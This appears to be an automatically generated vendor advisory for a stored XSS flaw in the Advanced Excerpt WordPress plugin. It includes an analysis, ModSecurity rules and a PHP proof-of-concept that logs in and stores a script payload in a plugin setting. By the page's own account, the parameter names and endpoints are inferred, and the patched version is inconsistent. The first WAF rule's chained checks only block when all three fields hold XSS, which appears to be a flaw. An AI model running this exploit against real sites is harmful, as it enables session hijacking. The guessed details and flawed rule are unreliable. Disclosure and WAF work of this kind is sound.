Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-13701: Advanced Excerpt <= 4.4 Authenticated (Administrator+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 4.4
Patched Version —
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13701 (metadata-based):

This vulnerability is an authenticated (Administrator+) stored cross-site scripting (XSS) flaw in the Advanced Excerpt WordPress plugin, affecting versions up to and including 4.4. The CVSS score of 4.4 reflects a high attack complexity and high privileges required, with scope change but limited confidentiality and integrity impact. Exploitation requires the victim to visit a page containing the injected script, and the vulnerability only affects multisite installations or single-site installations where the unfiltered_html capability has been disabled. Atomic Edge research classifies this as a medium-severity issue with a narrow attack surface.

Root Cause: The CWE-79 classification indicates improper neutralization of user-supplied input during web page generation. The plugin accepts excerpt-related settings or content from an administrator and stores it without adequate sanitization, then outputs it without escaping. Inferred from the description, the vulnerable parameter is likely an excerpt configuration field (such as a custom excerpt length, ellipsis string, or HTML tag filter) that is saved via the WordPress options API or post meta and later rendered in admin pages or front-end excerpts. Atomic Edge analysis cannot confirm the exact code path because no source diff is available, but the combination of stored XSS and administrator-level access points to a settings form or a post editor meta box where unfiltered HTML is normally allowed for administrators, but is stripped when unfiltered_html is disabled or in multisite. The insufficient output escaping likely occurs when the plugin echoes the stored value into an HTML attribute or text node without using esc_attr(), esc_html(), or wp_kses().

Exploitation: An attacker with administrator privileges (or higher) can inject a malicious script into a plugin setting or post field. Because the vulnerability is stored, the payload persists and executes whenever any user (including other administrators) views the affected page. The most likely vector is a POST request to /wp-admin/options-general.php?page=advanced-excerpt or a similar settings page, or an AJAX action such as advanced_excerpt_save_settings. The attacker supplies a parameter like excerpt_length, excerpt_ellipsis, or allowed_tags containing a script tag (e.g., alert(document.cookie)) or an event handler (e.g., ” onmouseover=alert(1) x=”). This payload is saved to the database and rendered unescaped on the settings page or in excerpt output. In multisite, a site administrator could inject the payload to attack a super admin. In single-site with unfiltered_html disabled, an administrator could still inject the payload because the plugin fails to sanitize it properly. Atomic Edge notes that the exact parameter name is inferred from the plugin’s functionality, not confirmed from code.

Remediation: The fix likely requires proper output escaping on all admin pages and front-end excerpt rendering, using esc_attr(), esc_html(), or wp_kses() depending on context. Input sanitization on save is also needed, applying sanitize_text_field() or wp_kses() with a restricted tag whitelist for any excerpt configuration values. The patched version 4.5 presumably adds these escaping and sanitization routines. Atomic Edge recommends that administrators upgrade to 4.5 or later, and that multisite installations review the unfiltered_html capability for administrators.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator or other privileged user’s browser. This can lead to session hijacking, privilege escalation (by creating a new admin user or changing settings), data exfiltration (including cookies and nonces), and possibly remote code execution if the attacker chains the XSS with a plugin or theme file editor. The scope change in the CVSS vector indicates the vulnerable component (plugin) impacts other components (WordPress core or other plugins). The limited confidentiality and integrity impact reflects the need for user interaction and high privileges, but the potential for full site takeover remains.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-13701 (metadata-based)
# Blocks XSS attempts targeting the Advanced Excerpt settings page via known parameter names.
# Assumes the plugin uses a settings page at /wp-admin/options-general.php?page=advanced-excerpt
# and parameters like 'excerpt_ellipsis', 'excerpt_length', 'allowed_tags'.
SecRule REQUEST_URI "@streq /wp-admin/options-general.php" 
  "id:202613701,phase:2,deny,status:403,chain,msg:'CVE-2026-13701 via Advanced Excerpt settings XSS',severity:'CRITICAL',tag:'CVE-2026-13701'"
  SecRule ARGS_GET:page "@streq advanced-excerpt" "chain"
    SecRule ARGS_POST:excerpt_ellipsis "@detectXSS" "chain"
      SecRule ARGS_POST:excerpt_length "@detectXSS" "chain"
        SecRule ARGS_POST:allowed_tags "@detectXSS" "t:none"

# Alternative rule for direct POST to admin-ajax.php with action advanced_excerpt_save
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202613702,phase:2,deny,status:403,chain,msg:'CVE-2026-13701 via Advanced Excerpt AJAX XSS',severity:'CRITICAL',tag:'CVE-2026-13701'"
  SecRule ARGS_POST:action "@streq advanced_excerpt_save" "chain"
    SecRule ARGS_POST:excerpt_ellipsis "@detectXSS" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-13701 - Advanced Excerpt <= 4.4 - Authenticated (Administrator+) Stored Cross-Site Scripting
// This PoC assumes the vulnerable parameter is 'excerpt_ellipsis' in the plugin settings page.
// Adjust $target_url, $username, $password, and $payload as needed.

$target_url = 'http://example.com'; // WordPress site URL
$username = 'admin';
$password = 'password';
$payload = '<script>alert(document.cookie)</script>'; // Stored XSS payload

// Initialize cURL
$ch = curl_init();
$cookie_file = tempnam(sys_get_temp_dir(), 'wp_cookie_');

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if ($response === false) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Navigate to the Advanced Excerpt settings page to obtain nonce (optional, but realistic)
$settings_url = $target_url . '/wp-admin/options-general.php?page=advanced-excerpt';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if ($response === false) {
    die('Failed to load settings page: ' . curl_error($ch));
}

// Extract nonce if present (simplified; actual nonce field name may vary)
$nonce = '';
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
    $nonce = $matches[1];
}

// Step 3: Submit the malicious payload to the settings page
// Assumption: The plugin uses a form with action=update and a parameter named 'excerpt_ellipsis'.
$save_url = $target_url . '/wp-admin/options-general.php?page=advanced-excerpt';
$post_fields = http_build_query([
    'action' => 'update',
    'excerpt_ellipsis' => $payload,
    '_wpnonce' => $nonce,
    'submit' => 'Save Changes'
]);

curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
if ($response === false) {
    die('Save failed: ' . curl_error($ch));
}

// Step 4: Verify stored payload by reloading the settings page
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (strpos($response, $payload) !== false) {
    echo 'Payload stored successfully. Visit ' . $settings_url . ' to trigger XSS.n';
} else {
    echo 'Payload not found in page. Exploit may have failed.n';
}

curl_close($ch);
unlink($cookie_file);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.